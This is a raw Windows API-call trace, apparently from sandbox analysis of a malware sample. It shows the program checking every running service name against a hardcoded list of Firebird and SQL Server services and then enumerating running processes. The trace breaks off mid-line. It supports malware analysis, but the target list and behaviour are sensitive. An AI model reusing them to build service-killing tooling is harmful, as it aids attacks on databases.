[0163.369] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0163.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0163.369] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0163.369] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0163.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0163.369] lstrlenW (lpString="Audiosrv") returned 8 [0163.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0163.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0163.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0163.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0163.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0163.369] lstrlenW (lpString="BFE") returned 3 [0163.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0163.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0163.369] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0163.369] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0163.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0163.369] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0163.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0163.369] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0163.369] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0163.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0163.369] lstrlenW (lpString="CDPSvc") returned 6 [0163.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0163.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0163.369] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0163.369] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0163.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0163.369] lstrlenW (lpString="ClickToRunSvc") returned 13 [0163.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0163.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0163.370] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0163.370] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0163.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0163.370] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0163.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0163.370] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0163.370] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0163.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0163.370] lstrlenW (lpString="CryptSvc") returned 8 [0163.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0163.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0163.370] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0163.370] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0163.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0163.370] lstrlenW (lpString="DcomLaunch") returned 10 [0163.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0163.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0163.370] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0163.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0163.370] lstrlenW (lpString="DeviceAssociationService") returned 24 [0163.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0163.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0163.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0163.370] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0163.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0163.371] lstrlenW (lpString="Dhcp") returned 4 [0163.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0163.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0163.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0163.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0163.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0163.371] lstrlenW (lpString="Dnscache") returned 8 [0163.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0163.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0163.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0163.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0163.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0163.371] lstrlenW (lpString="DPS") returned 3 [0163.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0163.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0163.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0163.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0163.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0163.371] lstrlenW (lpString="DusmSvc") returned 7 [0163.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0163.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0163.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0163.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0163.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0163.371] lstrlenW (lpString="EventLog") returned 8 [0163.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0163.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0163.371] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0163.371] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0163.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0163.371] lstrlenW (lpString="EventSystem") returned 11 [0163.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0163.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0163.372] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0163.372] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0163.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0163.372] lstrlenW (lpString="FontCache") returned 9 [0163.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0163.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0163.372] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0163.372] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0163.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0163.372] lstrlenW (lpString="gpsvc") returned 5 [0163.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0163.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0163.372] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0163.372] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0163.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0163.372] lstrlenW (lpString="iphlpsvc") returned 8 [0163.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0163.372] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0163.372] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0163.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0163.372] lstrlenW (lpString="KeyIso") returned 6 [0163.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0163.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0163.372] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0163.372] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0163.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0163.372] lstrlenW (lpString="LanmanServer") returned 12 [0163.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0163.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0163.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0163.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0163.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0163.373] lstrlenW (lpString="LanmanWorkstation") returned 17 [0163.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0163.373] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0163.373] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0163.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0163.373] lstrlenW (lpString="lfsvc") returned 5 [0163.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0163.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0163.373] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0163.373] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0163.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0163.373] lstrlenW (lpString="lmhosts") returned 7 [0163.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0163.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0163.373] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0163.373] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0163.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0163.373] lstrlenW (lpString="LSM") returned 3 [0163.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0163.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0163.373] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0163.373] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0163.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0163.373] lstrlenW (lpString="MpsSvc") returned 6 [0163.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0163.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0163.373] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0163.373] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0163.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0163.373] lstrlenW (lpString="NcbService") returned 10 [0163.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0163.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0163.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0163.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0163.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0163.374] lstrlenW (lpString="netprofm") returned 8 [0163.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0163.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0163.374] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0163.374] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0163.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0163.374] lstrlenW (lpString="NgcSvc") returned 6 [0163.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0163.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0163.374] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0163.374] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0163.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0163.374] lstrlenW (lpString="NlaSvc") returned 6 [0163.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0163.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0163.374] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0163.374] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0163.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0163.374] lstrlenW (lpString="nsi") returned 3 [0163.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0163.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0163.374] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0163.374] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0163.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0163.374] lstrlenW (lpString="PcaSvc") returned 6 [0163.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0163.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0163.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0163.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0163.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0163.374] lstrlenW (lpString="PlugPlay") returned 8 [0163.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0163.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0163.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0163.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0163.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0163.375] lstrlenW (lpString="Power") returned 5 [0163.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0163.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0163.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0163.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0163.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0163.375] lstrlenW (lpString="ProfSvc") returned 7 [0163.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0163.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0163.375] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0163.375] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0163.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0163.375] lstrlenW (lpString="RpcEptMapper") returned 12 [0163.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0163.375] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0163.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0163.375] lstrlenW (lpString="RpcSs") returned 5 [0163.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0163.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0163.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0163.375] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0163.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0163.375] lstrlenW (lpString="SamSs") returned 5 [0163.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0163.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0163.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0163.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0163.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0163.375] lstrlenW (lpString="Schedule") returned 8 [0163.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0163.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0163.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0163.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0163.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0163.376] lstrlenW (lpString="SecurityHealthService") returned 21 [0163.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0163.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0163.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0163.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0163.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0163.376] lstrlenW (lpString="SENS") returned 4 [0163.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0163.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0163.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0163.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0163.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0163.376] lstrlenW (lpString="ShellHWDetection") returned 16 [0163.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.376] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0163.376] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0163.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0163.376] lstrlenW (lpString="Spooler") returned 7 [0163.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0163.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0163.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0163.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0163.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0163.376] lstrlenW (lpString="StateRepository") returned 15 [0163.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0163.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0163.376] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0163.376] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0163.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0163.376] lstrlenW (lpString="SysMain") returned 7 [0163.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0163.377] lstrlenW (lpString="SystemEventsBroker") returned 18 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0163.377] lstrlenW (lpString="Themes") returned 6 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0163.377] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0163.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0163.377] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0163.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0163.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0163.377] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0163.377] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0163.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408a2c8 | out: hHeap=0x420000) returned 1 [0163.377] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4dc [0163.553] Process32FirstW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.553] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.554] lstrlenW (lpString="System") returned 6 [0163.554] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.555] lstrlenW (lpString="smss.exe") returned 8 [0163.555] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.555] lstrlenW (lpString="csrss.exe") returned 9 [0163.555] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.556] lstrlenW (lpString="wininit.exe") returned 11 [0163.556] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.556] lstrlenW (lpString="csrss.exe") returned 9 [0163.556] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.556] lstrlenW (lpString="winlogon.exe") returned 12 [0163.556] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.557] lstrlenW (lpString="services.exe") returned 12 [0163.557] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, 